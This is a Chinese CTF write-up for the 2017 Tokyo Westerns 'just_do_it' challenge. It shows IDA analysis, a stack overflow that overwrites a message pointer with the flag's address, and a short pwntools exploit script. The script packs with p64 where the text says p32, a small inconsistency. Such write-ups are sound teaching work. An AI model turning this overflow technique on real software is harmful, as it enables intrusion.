PWN_03-PWN入门-Tokyo West CTF 3rd 2017-just_do_it分析
载入IDAPro进行简单的程序流程分析
载入之后查看函数列表,发现有main函数,双击进行查看
查看汇编代码,发现汇编代码又长又不方便阅读!!!但是在IDAPro下为我们提供了很好用的工具,按F5或者Tab键进入反汇编代码/C语言伪代码
进入伪代码,我们初步能够读懂程序的执行流程:
- 定义了三个变量
- char s; // [esp+8h] [ebp-20h]
- FILE *stream; // [esp+18h] [ebp-10h]
- char *v6;
- v6为判断面输入是否正确的信息
- stream作为文件打开的指针
- s作为我们输入的存储空间
- 打开文件flag.txt,将flag.txt的内容通过fgets函数赋值给flag变量
- 程序执行开始后,首先输出
Welcome my secret service. Do you know the password?
和Input the password.
- 然后要求我们输入密码
- 如果密码正确就输出
success_message
,错误就输出failed_message
- 定义了三个变量
漏洞点分析
伪代码分析之后,我们就动态调试一下吧!!!
依然是F2在程序开始的地方下断点,F9开始执行
执行到让我们输入密码的地方,我们输入
AAAAAAAAAAAAA
查看栈中情况
我们输入的A(ascii码为41)已经存放到栈中,但与此同时我们发现了s保存的地址,他读取了.data段0x080487AB处的数据,即.rodata:aInvalidPasswor
那我们是不是可以通过覆盖掉FF948A0C数据,将其更改为变量flag的地址,调用puts函数时,让puts函数时输出flag变量的内容,获取flag!
漏洞利用
首先我们通过计算,如果覆盖FF948A0C(每次程序执行都不一样)的值,则需要
0xFF948A0C-0xFF9489F8=0x14=20
个A,再发送flag地址对FF948A0C进行覆盖,执行程序则读取flag成功。那我们如何找到flag的地址呢?
万事俱备,接下来构造我们的payload为:
'A'*20+p32(0x0804A080)
最终的exp入下:
#!/usr/bin/python #coding:utf-8 #导入pwntools包 from pwn import * context.update(arch = 'i386', os = 'linux', timeout = 1) #初始化上下文环境,主要是系统、架构和读取超时时间 io = process('./just_do_it') #此处的IP地址和端口需要根据目标修改 flag_addr = 0x0804A080 #flag字符串所在的内存地址 payload = '' payload += 'A'*20 #使用20个任意字符填充 payload += p64(flag_addr) #将0x080486F7处的call _puts指令调用的参数覆盖成flag字符串所在地址 print io.recv() io.sendline(payload) #向程序输入payload,注意使用sendline()或者send()的数据末尾加上回车'\n' print io.recv() #读取flag
执行结果
总结
- 本次也是利用简单的栈溢出漏洞,然后覆盖相应的地址数据,到达自己的目的!!!
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 787772394@qq.com
文章标题:PWN_03-PWN入门-Tokyo West CTF 3rd 2017-just_do_it分析
本文作者:二豆子·pwnd0u
发布时间:2019-11-28, 17:56:48
最后更新:2020-11-21, 16:30:43
原始链接:http://blog.codefat.cn/2019/11/28/PWN%E5%85%A5%E9%97%A8-Tokyo-West-CTF-3rd-2017-just-do-it%E5%88%86%E6%9E%90/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。